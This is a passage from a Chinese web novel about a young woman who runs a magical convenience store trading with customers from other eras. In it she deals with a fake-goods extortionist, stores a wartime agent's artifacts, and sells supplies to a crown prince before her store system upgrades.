怕裹着一层血浆丢回垃圾站吓到环卫工，报警闹出笑话，萧妧妧认命地戴上手套拆纱布，而后冲掉血浆装进蛇皮袋，晚上回家的时候再顺路扔掉。 刚扒下一层纱布，萧妧妧忽然听见小卖部传来哗啦啦的声响，手上动作不由停下。 萧妧妧侧耳听了一会，里面说话声断断续续。 “不会把货架撞倒了吧？”萧妧妧不放心，念叨一句，摘掉手套和围裙往小卖部走。 才推开门，不等她进去，抬眼便看到身上沾了血浆的黎行墨和他大哥。 这是……？ 萧妧妧一头雾水的进去，“你们怎么弄成……他是谁？” 走进去没两步，萧妧妧便听到哼哼唧唧的声音，一低头，才发现兄弟俩一左一右按住一个陌生男人。 陌生男人抱着胳膊哼哼，几次大力挣扎都让黎行墨拽回来。 “这人鬼鬼祟祟，我们以为他要偷东西，制止的时候发现他从包里掏出来这个，准备放在冷藏柜里。”黎行墨一边关注眼镜男，一边和萧妧妧解释。 萧妧妧走过去接住东西一看，就是一盒普通的便当，侧过来再仔细一看，她总算发现不对劲。 是过期两天的普通便当。 萧妧妧当即反应过来，她这是碰上职业打假人了。 真打假没关系，她巴不得有人为消费者维权，萧妧妧自己也跟着受益，可打着正义的幌子做出敲诈勒索的行径，和犯罪有什么区别？ 萧妧妧立刻掏出手机报警。 “喂？警察叔叔，月牙巷188号不倒闭小卖部，有人在店里投毒。” “你他妈胡说什么呢？谁投毒了？你看到了吗你？小心我告你诽谤！” 萧妧妧一说出投毒两字，眼镜男跳起来叫嚣，眼睛几乎瞪出眼眶，一脸狠相。 黎行聿胳膊一扭，把人用力往下压，直到眼镜男肥硕脸颊贴在柜台上，五官挤得狰狞变形，只能张着嘴巴嗷嗷叫疼。 黎行聿突然动手，别说眼镜男，萧妧妧跟着吓了一跳。 她看一眼黎行聿紧绷的手臂肌肉，又去看他将近一米九的个头，难怪一招就能压得圆滚滚的眼镜男无法挣脱。 “我们陪你等警察。”黎行聿开口。 萧妧妧狠狠瞪一眼眼镜男，转身去看黎行墨和黎…… “黎行聿。”他说。 萧妧妧仰头看向他们：“谢谢你们啊，要不是你们帮忙，他今天投毒成功，这东西不知道要进谁肚子里。” “你们没受伤吧？” 她目光瞄向黎行墨和黎行聿身上的血痕。 进门时两人一身干净的运动速干衣，看起来是刚运动结束，现在嘛，看起来是刚犯罪结束。 想到他们三人动过手，萧妧妧无法确定，是蹭到人造血浆，还是真受伤流血。 黎行墨摇头：“人造血浆。” 萧妧妧松了一口气。 她是知道开店容易碰到牛鬼蛇神的，可没想过会是在不倒闭小卖部营业没多久碰上。 这回是她运气好，对门邻居撞见把人按住了，否则这亏她吃定了，少说要赔大几千。 赔钱是其次，万一传出不倒闭小卖部卖过期商品的流言，以后谁敢上门啊。 生意的事不说，街里街坊的，以后都不好做人。 断人钱财犹如杀人父母，杀父杀母之仇，萧妧妧越想越气，越气越想干点什么。 趁警察没来，萧妧妧抬脚踹向眼镜男的裆部。 听他嗷的一声惨叫，想捂没手捂的窘状，萧妧妧终于气顺了。 对上黎行聿和黎行墨看过来的目光，萧妧妧礼貌微笑，保持沉默。 好在兄弟俩只是多看她一眼，并未说什么。 萧妧妧又瞪了一眼眼镜男，跑去柜台后面调取监控备用，视频刚导出来，警察上门了。 果然，是月牙巷派出所的两位民警，萧妧妧认得他们。 “周警官，李警官，就是他投毒。” 两位警官倒是没看眼镜男，先是注意到他们身上的血迹。 萧妧妧：“这是人造血浆，他们动手的时候蹭上了，不是真的血，没人受伤。” 两位警官松了一口气，他们差点要叫救护车。 “行，是他投毒是吧？跟我们回去一趟。”周警官走到黎行聿身边，铐住眼镜男带走。 眼镜男这下慌了，抱着周警官胳膊哭哭啼啼，否认投毒。 萧妧妧默默上前，递去过期便当，“这是他塞到小卖部冷藏柜的，正好让人抓着，人赃并获。” 李警官接过便当，“是你们两把人抓住的？那配合一下，一起去所里了解了解情况？” 得，四人都要走一趟。 萧妧妧只能匆匆关上店门，跟警察回派出所。 路上，萧妧妧注意到姓黎的兄弟俩先后接了几通电话，尴尬地挠挠头。 “那个……太谢谢你们了，是不是耽误你们时间了？抱歉抱歉。” 除了感谢和表达歉意的场面话，萧妧妧也不知道说什么好。 “这不是显而易见吗？” “应该的，配合警察工作。” 黎行墨双手环胸，直截了当的承认，和在云昭昭面前绅士作风完全两副面孔，噎得萧妧妧说不上话。 黎行聿的回答则委婉体面不少。 兄弟俩截然不同的回应同时响起，萧妧妧更尴尬了，脚趾蜷缩。 就在萧妧妧眼神飘忽不知道该怎么办的时候，黎行聿递来一包纸巾。 萧妧妧抬头，不明所以地看他。 黎行聿指了指自己的脸。 她掏出手机照了照，看清自己此刻的尊容后，忍不住倒吸一口气。 难怪警察叔叔吓一跳，人造血浆几乎沾了大半张脸，乍一看怪吓人的。 萧妧妧小声道谢，接过纸巾擦掉脸上手上的血浆。 等她擦干净手和脸，一行人已经走到派出所门口。 萧妧妧仰头看一眼招牌，低声嘀咕：“我还是第一次进派出所呢，” 黎行墨跟着抬头看招牌，“谁不是呢。” 黎行聿越过两人，径直走进矮楼。 萧妧妧看了看黎行墨，又看了看黎行聿，迈步跟上。 有萧妧妧投毒的指控在前，眼镜男一进审讯室便交代了自己职业打假人的身份，还交代了自己是如何操作，敲诈多家便利店的过程。 萧妧妧纯纯受害者，对事情经过知之甚少，简单聊了几句便结束。 黎行聿和黎行墨那里有便利店监控做为证据，他们没多久也结束了谈话。 三人前后脚离开派出所，天色黑沉，已是晚上九点多。 萧妧妧叹气，这一天天的，可真精彩啊。 叹完气，萧妧妧掏出手机，转身背对派出所大门，来一张合影。 调整角度咔咔两张，没等她换姿势，余光瞥到不远处的黎行聿和黎行墨，两人半侧着身看过来。 黎行墨的眼神最好懂，明晃晃的写着无语两个字。 萧妧妧耳根子发烫，手脚都不知道怎么摆，“嘿嘿，纪念一下人生中第一次进派出所，你们先走，不用管我。” 两个大活人盯着看，萧妧妧不好意思再换姿势自拍，催他们先走。 可两人走了几步便停下，明显是换个地方等她，怪贴心的。 萧妧妧只好收了手机，加快脚步。 26 第26章 ◎你觉得兄弟盖饭怎么样？◎ 两人刚搬来不久,不熟悉附近街道，萧妧妧便走在前面带路。 将近晚上十点，月牙巷已经看不到多少游客，街边只有几家24小时营业的铺子亮着灯。 拐出去两百米,靠近月牙巷景区入口,萧妧妧看到热热闹闹大排长队的烧烤店。 萧妧妧一拍脑门,扭头看向他们：“你们帮了我大忙,哪天有空我请你们吃顿饭？” 他们帮她避免了大几千的损失，萧妧妧认为该表示表示,顺带在男主面前刷好感，别总想着弄死她。 这一点萧妧妧还是有信心的,女配能有坏结局，一半是她自己作,故意凑上去惹人不痛快，别说男女主,萧妧妧自己都想钻进书里给女配两巴掌。 女配做的事,萧妧妧可是一件没做过,不仅没做过,她和云昭昭的关系也比故事里要好很多。 黎行聿礼貌拒绝,“举手之劳，吃饭……” 黎行墨忽然拽住黎行墨的胳膊，插话，“好啊,我们可以去你家吃吗？” 萧妧妧诧异一会，指着自己重复,“去我家？” 兄弟俩一看就知道是谁做主,萧妧妧去看黎行聿的态度。 黎行聿半侧身,淡淡瞥着自己的亲弟弟。 黎行墨落后一步走到萧妧妧身边，假装看不见大哥眼底的警告。 “不是说要感谢我们吗？ 请我们去家里吃顿饭不过分吧？ 以后都是邻居，吃顿饭不是很正常？ 云老师还在我家当家教，大家都是熟人，更应该吃顿饭了吧？” 句句不离饭，好像八辈子没吃过饭一样，直到最后一句，萧妧妧哪还听不出来，醉翁之意不在酒，在云昭昭。 算盘珠子都要崩脸上了，呸！ 故事里的黎行墨就是这么个性子，一见钟情云昭昭后便想方设法的靠近她，热情霸道占有欲超强的大狼狗一枚。 云昭昭反射弧长，根本察觉不到他的险恶用心。 如果拒绝的话，算不算阻拦男女主发展感情线？ 萧妧妧陷入了纠结。 “看来萧小姐也不是真心想感谢我们啊……”黎行墨看她半天没应声，阴阳怪气的来了这么一句。 “你可别乱说啊，我是在思考吃什么，时间你们定？” 萧妧妧自己夸下海口要请客，没有反悔的道理，而且在自家请客，省钱。 “这个周末吧，怎么样？” 黎行墨越过黎行聿，和萧妧妧讨论哪天吃饭的事。 萧妧妧当然是主随客便，爽快点头应下。 事情敲定，黎行聿不好出声反对，冲着萧妧妧微微颔首，“叨扰了。” 萧妧妧摆摆手，“这算什么叨扰，本来就是要感谢你们帮忙的。” 说话间，三人回到了不倒闭小卖部附近。 萧妧妧仰头问：“对了，你们当时去店里要买什么来着？” 黎行墨掏出手机，翻开照片递给她看。 “棒棒糖？”萧妧妧看一眼手机，又看向黎行聿确认他们不是开玩笑。 “小月亮闹着要吃棒棒糖，她说你这里有卖。”黎行聿解释。 黎行墨补充：“小月亮是云老师在南市的第一个学生。” 萧妧妧看一眼图片，上面的棒棒糖普通便利店找不到，只有她的店铺有货，因为是外国品牌，暂时没进入国内市场，进货渠道少，且利润不高。 但她自己爱吃。 萧妧妧自己开小卖部，当然是自己爱吃什么卖什么，卖不完通通进自己肚子。 “你们等我一会。”萧妧妧转身往小卖部跑。 再回来，她怀里多了一整盒棒棒糖。 “耽误你们买东西了，小孩子闹起来不好哄，这些全送给她吧。”萧妧妧径直把棒棒糖塞给黎行墨。 黎行墨沉默了一会，瞥她一眼，不情不愿的低声道谢，接下。 萧妧妧多看他一会，确实有点违和，难怪他别别扭扭。 抿抿唇，忍住笑意，萧妧妧又递去两根棒棒糖，他们一人一根。 下意识接过东西的兄弟俩齐齐低头，看看躺在手心里的棒棒糖，抬眸，疑惑目光落在萧妧妧脸上。 萧妧妧：“大盒是给小月亮的，这两根是给你们的。” 说着，萧妧妧从口袋掏出第三根棒棒糖，扯开包装纸塞进嘴里。 是她自己想吃了，可又不好意思吃独食。 不过他们好像不太爱吃的样子。 有土著萧妧妧在，三人抄近路回家，路上遇见邻居纳凉，她暗道一声失策。 “呦，妧妧回来了，听说你和人打架了？” “都进派出所啦，好多人看见呢，说你身上还有……哦，血还在，怎么打成这样啊？人没事吧？” “当然没事了，妧妧好端端站着呢，真出事了早躺医院去了。” 街坊邻居看到萧妧妧，纷纷搭话打听，打听她怎么一身血，打听她为什么进派出所。 “妧妧，你不会是跟他们打的吧？”一阿姨指着黎行聿黎行墨，“他们身上也有血，还不少呢。” “没有的事，他们见义勇为来着，叔叔阿姨爷爷奶奶晚上好，我先走了啊。” 萧妧妧一边硬着头皮应付邻居，一边加快脚步逃离八卦中心。 她发誓，绝对绝对不能暴露她对充气娃娃做的那些事。 “十几年的邻居嘛，难免热情了点，你们会习惯的。” 议论甩在身后，萧妧妧长舒一口气，看到黎行墨黎行聿兄弟俩表情同步，紧拧眉头一副不太习惯的无措样，出声解释一句。 黎行墨回头看一眼，对萧妧妧那一句热情的评价不置可否。 距离春山居没多远了，不过三两分钟，已经能看到红彤彤的灯笼。 灯笼下，云昭昭蹲在门边，看清走来的三人中有萧妧妧，起身迎上去。 “妧妧姐你怎么没回消息啊，我去店里找你，结果店里也关门了。” 萧妧妧掏出手机看了一眼，有好多未接来电和未读消息压在最下面。 “出了点意外，事情刚结束。” 挽上萧妧妧的胳膊，云昭昭迟钝注意到旁边的黎行墨和黎行聿。 下班时间看见老板，云昭昭浑身一僵，而后站得笔直，拘束地打招呼。 “学长，黎先生。” 明明是和兄弟俩说话，黎行墨却最先站出来回应，硬生生转变成他们两人之间的对话。 “小月亮在你那里还好吗？” 云昭昭：“小月亮很乖，写完作业送回刘阿姨那里，现在应该睡着了。” 被撇在一边的萧妧妧耸耸肩，老老实实充当电灯泡。 好在只说了几句话，黎行聿制止了散发魅力的黎行墨。 目送两人走向231号，云昭昭接着问：“妧妧姐，你还没说发生什么事呢，他们……” 萧妧妧：“没什么，他们帮忙抓住了职业打假人，后来一起去了一趟派出所。” 云昭昭听得一愣一愣的，“黎先生见义勇为？” 她侧身回头看向231号门口即将消失的身影。 “黎先生看着挺冷淡的，没想到是个好人。”云昭昭随口感叹。 萧妧妧神情微囧，什么叫‘没想到是个好人’。 云昭昭重新措辞：“黎先生挺客气礼貌的，但是总感觉很清冷，像是事不关己高高挂起的那类人，我只是没想到，他还会帮忙抓贼。” 萧妧妧回想一下，也不能怪云昭昭会在没深交的情况下产生刻板印象。 黎行墨和黎行聿兄弟俩面容略微相似，不过黎行墨的眉眼稍显精致秀气，面部轮廓柔和，很容易给人留下好印象，接触之后才会惊叹他霸道的性子。 黎行聿则不然，相似的五官在他脸上更加深邃，再有棱角分明的面部轮廓帮忙，看起来冷冷淡淡，不太好说话，如果面部表情不够柔和，或者表现的严肃一点，整个人便散发着高不可攀的冷酷感。 这样一张男模脸发起怒来，杀伤力会很强，配上他的身高压迫以及上位者的气势，萧妧妧轻易能理解许经理为什么要愁眉苦脸。 尤其兄弟俩差了一些岁数，黎行聿是成熟稳重的社会人士，喜怒不形于色，看不透。 黎行墨年纪轻，是A大的学生，假期后才大四，脸上有年轻人的蓬勃肆意，喜怒哀乐挂在脸上，轻易看出他的情绪。 这么一对比，云昭昭自然是对黎行墨的印象更好了。 萧妧妧想到什么，忽然顿住脚步。 “昭昭，你觉得兄弟盖饭怎么样？” 云昭昭满脸茫然，“兄弟什么？什么盖饭？妧妧姐，这是什么意思？” 萧妧妧捂脸，怎么嘴巴一秃噜就问出声了。 “咳咳，没什么，附近有一家兄弟盖饭，味道不错。”她清清嗓子，懊恼地转移话题。 云昭昭的注意力是转走了，萧妧妧的还没有。 她合理怀疑，第三个野男人就是黎行聿！ 兄弟盖饭什么的，多香啊，谁能忍住不好这一口？ 27 第27章 ◎喏，你的千金◎ 第二天不到六点,萧妧妧收拾齐整打着呵欠出门。 她也想睡懒觉，可昨天走得仓促，店里一片狼藉未清理，由不得她偷懒。 垂头丧气地打开感应门,看货品散落一地,人造血浆干透黏在瓷砖上,装神弄鬼用的工具毫无规律的堆在后门附近,萧妧妧长叹一口气。 拉闸开灯开空调，养生壶煮上八宝茶,萧妧妧撸起袖子整理货架，补充货品。 职业打假人上门闹事,萧妧妧绷紧了皮，着重检查货品的保质期。 只收拾货架这一项工作,萧妧妧足足忙了一个多小时。 等她开始清扫地面，规整杂物,时间已经来到八点,月牙巷临街商铺陆续营业。 萧妧妧抓紧时间,先把小卖部打扫干净,杂物先丢到院子里。 忙忙碌碌一早上,没等她歇口气，游客接连光顾。 快到午饭的点，日头毒辣，萧妧妧总算闲下来。 “欢迎光临~” “妧妧,我把东西送来了，剩下的要拜托你帮忙了。” 刚说要歇下来,苏娇娇紧跟着出现,这回她换了个打扮,身穿低调的深色格纹旗袍。 苏娇娇眼底挂了两团青黑，但精神状态极好，一点看不出昨日的焦躁不安。 “妧妧，我来送东西，这是其中一箱，其他的我再去搬。”苏娇娇快活极了，牛皮行李箱轻轻放在柜台上，转身便要穿过结界。 萧妧妧赶紧把人叫住，去后院推来小拖车。 “一趟趟跑多麻烦，用它吧。” 苏娇娇歪头打量一眼，语气轻快的道一声谢，推着拖车出门。 萧妧妧帮不上忙，守在门边等着接应，两分钟左右，小拖车很快冒出头，她扶住箱子，引导拖车进门。 苏娇娇娇生惯养，没做过力气活，这一趟下来，累得她直喘气。 萧妧妧给她递去一杯水，转头观察半人高的大木头箱子，以及那个小牛皮箱。 苏娇娇看她好奇，缓缓喘息：“里面是些什么我也不知道，我听接头人说，木箱子里的东西易碎，要小心保管，行李箱中放着书籍字画一类的东西，务必小心水火。” 萧妧妧眼睛唰一下锃亮，“字画？” 天呐……那岂不是价值连城？ 哇了一声，萧妧妧便收了心思，价值连城那也不是她能肖想的，不出意外，这些东西的归宿多半是各大博物院。 苏娇娇微笑着看萧妧妧，见她眼睛一亮又一亮，心思一动。 “妧妧，你喜欢字画？” 萧妧妧嘿嘿笑，挠挠头，“谈不上喜欢不喜欢，只是有点历史的字画在我们这里很受欢迎，能卖出去好多好多钱。” 苏娇娇垂下眼帘，若有所思。 萧妧妧暗道一声糟糕，这话说的太不合时宜。 她收敛笑容，竖起手发誓：“你放心，我这人很有原则的，什么事能做什么事不能做我心里清楚。它们放在我这不会出一点纰漏。” 只发誓明显不够用，萧妧妧去找合适的东西帖子箱子开口处，好让苏娇娇放心。 苏娇娇愣了一会，忙拦住她。 “我当然相信妧妧，我想到了另一件事，不是怀疑你的意思。” 苏娇娇正好想不到要怎么感谢萧妧妧，她出主意出力气，又耗费一整天时间帮忙解决困境，助她顺利接头。 给金条固然实在，但太不讲究，略显敷衍。 给珠宝首饰，苏娇娇不确定萧妧妧会不会喜欢，她好像从没见萧妧妧戴过饰品。 其他的东西，苏娇娇一时半会想不起来，主要是看不出萧妧妧缺什么喜欢什么。 萧妧妧观察一会苏娇娇的神态，不像是作假，心里松了一口气。 苏娇娇休息一会，推着小拖车出门，萧妧妧才发现东西出乎意料的多。 七个大木箱，六个牛皮行李箱，占据了小卖部能看到的所有空地，萧妧妧只帮忙卸货都累得麻木了。 当着苏娇娇的面清点一番，萧妧妧毫不遮掩，大小箱子统统装进系统空间。 “这是……它们消失了？” 看到它们凭空消失，苏娇娇心里一咯噔，完全是出于对萧妧妧的信任才冷静下来。 萧妧妧点头：“对，藏在只有我知道的安全地方。” 说着话，萧妧妧又把大小箱子挪出来，苏娇娇看它们一会消失一会出现，既觉得神奇又觉得安心。 “东西放在小卖部我自然是不担心的，等我回云城碰上接头的同志再来取东西，这段时间就拜托你了。” 想起前些日子防备小卖部的自己，苏娇娇不由自嘲的笑了笑，什么鬼铺子，这分明是老天派拯救她的。 不说文物的事，只转移电台那次，如果没有萧妧妧，没有不倒闭小卖部，苏娇娇恐怕连命都保不住。 不止是她的命，深海同志也将面临暴露的风险，整个站点陷入危机。 苏娇娇不想便罢，一旦开头，情绪上头控制不住，紧紧抱住萧妧妧。 萧妧妧嘴角噙笑，身子酸酸麻麻，成就感倏然间充斥心头，整个人飘飘然。 看，她可是帮上大忙了呢，苏娇娇都快感动哭了。 她和不倒闭小卖部是苏娇娇、龙傲天、申明月的金手指，系统和小卖部是她的金手指。 拥有金手指的女配总不能还混得惨兮兮吧？ 萧妧妧忽然身子一轻，压在心上的巨石在顷刻间崩裂，连一粒碎块都不曾留下。 剧情早已经改变了，女配的结局怎么能算她的结局呢？ 故事里，资助云昭昭的是张芸和萧大明，收留云昭昭是夫妻俩的决定。 家里的住客、邻居，凡是女配有好感的男人都对女主青睐有加，这让面对云昭昭充满优越感的女配无法忍受，接二连三的刺激下，继而做出一些昏头的荒唐事。 可现在不同，资助云昭昭的是萧妧妧，想收留云昭昭的是萧妧妧，不管是季随还是黎行墨，萧妧妧只把他们当成普通人看待，生不出别的心思。 剧情歪成这样，她有什么好担心的？ “怎么了？你想什么呢？” 苏娇娇抱了抱萧妧妧，感念自己运气好，感念完就发现萧妧妧瞪着眼睛在发呆，不知道她想到什么，嘴角笑容越来越灿烂，眨眼工夫，容光焕发。 萧妧妧昂首挺胸，“能帮上娇娇姐实在太好了！” 苏娇娇看不出破绽，拍了拍旗袍上的灰尘，手袋挂在腕间，嗔笑：“时间不早，我该离开了，马上要坐船回云城，不好耽误，下次再和你说话。” 萧妧妧知道她忙得很，送她到后门边。 回到仓库，苏娇娇清理完自己留下的痕迹，锁上仓库门，快步去码头登船。 进了船舱，苏娇娇严肃面容一下子生动起来，笑意盈盈。 天光熹微时，小船抵达云城老码头附近，口岸附近货箱堆了一地，但看不到一个工人在忙碌，冷清的有些诡异。 苏娇娇挂在脸上的笑容更明媚了，径直离开码头。 “作孽哦，老码头现在一点生意没有了。” “赶紧走吧，老码头闹鬼，云城这两天都传遍啦。” “我可听说了，那鬼会腾云驾雾，说是冷飕飕的。有一个浑身冒血，肚子破开，肠子拖地。 还有一个女鬼眼睛是血红的，脸白的呦，跟死了好几年一样。” “你们知道吗？行动队当晚撤走，根本没人敢守着。” “你还说，行动队那几个二鬼子吓疯啦，听说送去医院的时候，看到医生护士就嚎鬼鬼鬼的。” “真那*么吓人啊？不会是有人装神弄鬼吧？” “怎么装？我听我二姑家的表叔的三堂弟说，那鬼就贴你脸前，你一开枪，嘿，消失了，等你要跑，那女鬼又冒出来追你，驾着雾追你，多吓人啊。” “千真万确假不了！那女鬼还会控火，行动队的说，多半是女妖怪，她飘起来的的时候比人跑得都快，吓死人。” “我知道我知道，手一挥，天上一片火光，手再一挥，又是一片火光，闹鬼的地方留了一滩血，码头上还多出来一双绣花鞋，太渗人。” “嗨，估计是女鬼也看不惯他们吧，正好，看他们以后还敢不敢放肆，真当云城是他们的地盘了。” 一路从码头走到茶馆，苏娇娇累得脚抽筋，可心情却是无比的激荡雀跃。 老码头闹鬼的消息沸沸扬扬，云城无人不知。 茶摊上，聊得兴起的工人们不会知道，从他们身边路过的低调女人便是他们口中的女妖怪。 不倒闭小卖部。 萧妧妧送走苏娇娇，以为自己终于能坐下来喝口时，小卖部迎来了许久没露面的老顾客。 “欢迎光临~” 看店神器响起，萧妧妧扭头看向后门，见是龙傲天还有些意外。 “稀客啊，太子殿下这次来是给我送千金的？” 萧妧妧上下打量，看他穿戴华贵逼人，似乎刚从正式场合回来，精气神稍显萎靡，像霜打的茄子，于是笑眯眯和他攀谈。 这恹恹的模样，怎么看怎么像是被打击到了，不用猜，一定是她提前透露的剧情都一一发生，分毫不差，龙傲天这是受大刺激了。 他冷冷淡淡地瞥一眼萧妧妧，随口应一声，而后脚步沉重地走进来。 “喏，你的千金。” 28 第28章 ◎系统升级◎ 木匣子随手往柜台上一搁,啪嗒一下，听着挺沉的，但…… “这有千金？是不是太小了点？” 萧妧妧仔细瞅了瞅木匣，失望于木匣不是金丝楠木制作,随即怀疑地抬头看他。 怀疑他缺斤少两。 龙傲天没什么兴致说话,当着萧妧妧的面打开匣子。 一排排的元宝,满当当,确实很震撼，更震撼的是萧妧妧。 “这不是银锭吗？说好的千金呢？” 萧妧妧不太高兴,金大腿也学会画大饼了？说好的千金换成千银，换谁谁能高兴啊。 龙傲天不解：“一千两银锭,怎么不算？” 萧妧妧听明白了，她听到的千金是千两黄金,龙傲天嘴里的千金，是千两金钱。 她掏出手机一查,瞬间泄气。 古代的“赏千金”里的金指得是银锭和铜钱,不是黄金,萧妧妧理解有误,不能算龙傲天故意坑骗。 还是吃了没文化的亏啊。 幸好龙傲天没送黄铜,否则这落差能气得她心梗。 如果银锭当真有千两，换算过来是二十多万，不亏。 多看一眼木匣，萧妧妧面色稍霁。 “不说银锭了,上回告诉你的消息没错吧？”萧妧妧没去看糟心的“千金”，和龙傲天说起正经事。 龙傲天一拳头锤在柜台上,“我待七弟一向不薄,我实在想不通,萧老板，你知道七弟要陷害我，你不如直接告诉我，他到底是为什么？” 萧妧妧的心情不比龙傲天好多少，说话便少了点委婉，“还能为啥，皇位呗。” 龙傲天忽然哽住，瞪着萧妧妧说不出话。 “哎……”龙傲天继续叹气。 萧妧妧又不是开心理诊所的，没空为他疏导，她指了指身后展示柜，一心卖货。 “你上回说要全买下的，还算数吗？” 龙傲天掀起眼皮子瞅一眼，“买！” 萧妧妧总算舒坦了，嘴角微弯，“我说给你打折也是算数的，你看啊，这么大件的琉璃，一百两金子不贵吧？每件我都给你算九折，便宜吧？一共四件，三百六十两金子，我再给你抹零，算三百五十两。” 计算器戳了几下，电子音报出数字三百五。 龙傲天没说什么，下巴微抬，“包起来吧，回头孤给你送金子来。” “好嘞！” 萧妧妧就喜欢和爽快的人交易，哼着歌打包东西。 龙傲天仍旧沉浸在自己的情绪中，烦躁了一会，忍不住开口谈起前面的话题：“萧老板，七弟既然构陷我不成，你说他还会不会出别的招？” 萧妧妧余光偏移一寸，瞥一眼龙傲天，没理会，摇头晃脑的包装琉璃。 龙傲天见萧老板不搭理他，哼了一声，道：“你若说出七弟下一步计划，下回我便给你千金，黄金千两。” “太子殿下大气！” 萧妧妧笑眯了眼，她现在就像龙傲天身边那个会喳喳喳的老太监，龙傲天说什么她都叫好。 “我只知道不出半月，七皇子会联合大臣上书，用花里胡哨的借口把你派去边疆打仗。” 边疆、打仗，龙傲天为一国储君，有资格接触朝政，一听到这两个词，脑海中已经过完一遍战势。 他不解：“蛮州确实有战役，不过胜算极大，七弟想拉我下马，为何挑这时候，岂不是给我送功劳？” 萧妧妧：“对啊，别人都当你是去抢功，毕竟大家都知道，七皇子与你关系和睦，他这么做，一定是受你指使。 谁知道七皇子背后使坏，断了朝廷支援军的粮草，一场必胜的战役因你而惨败……” 剩下的话不需说，龙傲天自己能领会。 抢功，断粮草，惨败，还戴上了个贪功冒进的帽子，这一遭后，军中将领多半是要记恨他了，以后绝不会为他驱使。 若是再经营一番，他草包的名头能传到民间，百姓怎么想？父皇怎么想？ 龙傲天思绪万千，面色黑沉得可怕。 萧妧妧缩了缩脖子：“我知道的可都告诉你了，这场战役你要是能赢，自然好说，无功无过，万一输了，那可是遭大罪。” 龙傲天闭了闭眼，几度深呼吸，萧妧妧一度担心他喘不上气憋死。 好在龙傲天心理素质还不错，冲击过后很快平复情绪。 “多谢萧老板愿意告诉我。”龙傲天抬手，躬身作揖。 萧妧妧踏踏实实的受了，“客气了，你是要付金子的。” 龙傲天瞥一眼柜台上一木匣的银锭，留下一句稍等，转身离开，再度进店，龙傲天手里多了一个木匣。 “这些是给萧老板的。” 萧妧妧疑惑：“这是哪一笔交易？该不会你要拿它抵黄金千两吧？” 新拿来的匣子稍小，看他拿匣子的动作，轻易分辨出里面的东西不重。 轻飘飘的，能是什么好东西。 龙傲天哼了一声，“孤说话算话，等老七联名上书的那天，孤立刻给你准备金子，这不是看你不喜欢银子，给你补点。” 萧妧妧哦了一声，拍拍胸口，暗道一声吓死人。 她接过匣子，不抱希望地打开…… “发簪？”萧妧妧扒拉一通，“怎么都是发簪？” 看了两场直播，萧妧妧学到不少知识，知道珍珠在古代是个好东西，在可以规模养殖的现代，那可不好说。 当然，是有名贵的珍珠，但人家讲究产地大小色泽等等，复杂着呢。 龙傲天：“库房里拿的，我们那的女子最爱珍珠发饰，孤正好得了一匣子。” 多少是点心意，萧妧妧勉为其难收下。 龙傲天看出萧妧妧的勉为其难，直接问：“萧老板不喜欢？” 萧妧妧怕他下次再拿珍珠糊弄人，弱声解释：“珍珠在我们这……很普通。” 龙傲天愣了愣，面颊迅速涨红。 “是我失礼了，”龙傲天再次作揖，“萧老板且等等。” 不等萧妧妧拒绝，龙傲天又一次离开。 这回轮到萧妧妧脸红了，搞得好像她索要好处一样。 大约三四分钟，龙傲天带来两个匣子，一个大些，但扁扁的，一个高一点，看起来沉甸甸。 “这是……？” “这一盒是买琉璃的钱，”龙傲天一一打开盒子，展示给她看，“这一盒是翡翠耳坠，一共十二对，出自同一块翡翠。” 萧妧妧惊呆了，眼睛根本看不过来。 左边匣子放着金锭，应该是五十两一锭，整整齐齐摆了七块金锭，淡淡金光耀眼夺目。 右手边的匣子也不简单，十二对翡翠耳坠形态各异，精致又可爱，它们的颜色很特别，肉眼看是略带灰调的淡淡紫色，温柔又优雅。 龙傲天仔细观察萧妧妧，见她眼底闪过欣赏与欣喜，便知道这回没出错。 他把匣子推到萧妧妧面前，“多亏萧老板提前告知，今日才免遭陷害。” 萧妧妧恨不得拿起耳坠试戴，哪里舍得拒绝，“你的心意我收下了，它们很漂亮。” 龙傲天微笑，“现在，我们聊聊粮草一事？” 萧妧妧灵光一闪，“要从我这里买？” 龙傲天眸光闪了闪，微笑点头。 萧妧妧马上拿来纸笔，“说吧，要买什么，数量多少，对了，如果不知道怎么买，你把需求告诉我，我给你推荐。” 龙傲天想了想：“上回那个止血伤药，我要5000瓶，抵饱的食物多来些，够万人食用。” 萧妧妧抬眸看他，别听他嘴里说着不信，实际搁这未雨绸缪呢。 龙傲天无奈叹息：“先这些吧，东西多了我不好运出去，萧老板宽限我几日。” 他要拆包装重新塞进油纸包里，再瞒着各方耳目伪装好运出城，太难了。 老七要做那捕蝉的螳螂，可别怪他当黄雀，只要老七敢对粮草下手，定让他脱下一层皮。 萧妧妧一口应下，正好她短期内也凑不到这么多东西。 至于食物，里面的门道很多，得和龙傲天仔细商量。 是吃得好点还是吃得饱就好，萧妧妧问过龙傲天的想法后，果断选择压缩饼干。 初步商定结束，龙傲天从兜里掏出一枚金锭。 “这是预付的订金。” 萧妧妧掂量掂量，大约是二十两的金锭。 二十两，600克，换算过来大约是36万，别说买压缩饼干了，国宴都能给他整一桌。 嘿嘿，到此为止，她已经存下了12900克金锭，按照今日金价算，能换现金810万！ 萧妧妧算了一笔账，然后陷入恍惚，恍惚过后，情不自禁傻笑。 回神的时候，龙傲天已经离开，面前只剩下三个匣子排排放。 【叮~恭喜萧妧妧女士在交易系统协助下完成货品交易1000件，您可解锁二级功能，是否立刻解锁？】 匣子叠在一起扔进空间，沉寂许久的系统诈尸了。 萧妧妧吓得一哆嗦，然后看向系统面板。 哦，是升级了啊，解锁二级功能？ 等等！这就交易1000件了？ 萧妧妧翻开账本一算，这才发现其中关窍。 所谓的交易件数，不仅仅是指她卖出去的，同时囊括了她收到的，两方加起来超过1000件即可。 “二级功能有什么？” 一边问，萧妧妧一边按下确定。 【结界可视功能开启，卖方可根据买方生活环境、生存需求、文化差异，做出相应推销，促进交易达成，提高交易数量】 萧妧妧一琢磨，好像有点鸡肋啊…… 她转身走到后门附近，拉开假门——还是一堵墙？ 【结界可视功能会在买方进入后自动开启】 萧妧妧撇撇嘴，失望地合上假门。 “统，三级功能有什么？我想要估价功能，我还想要穿梭功能，你们总系统给批吗？” 她猜得没错，系统升级确实是有好处的，一级容易，二级1000件，三级难度大概率翻倍，说不定是一万件甚至十万件。 升级难度加大，功能理应更强大吧？ 萧妧妧眼珠子一转，不客气地提要求。 【作者有话说】 错字已改 29 第29章 ◎送拍金丝楠木匣◎ 【交易件数不达标,您无权查看】 整得还挺神秘……要求被拒，萧妧妧吐槽一句，把系统升级这事抛在一边。 主要是功能不合她心意，萧妧妧失去探索的兴致。 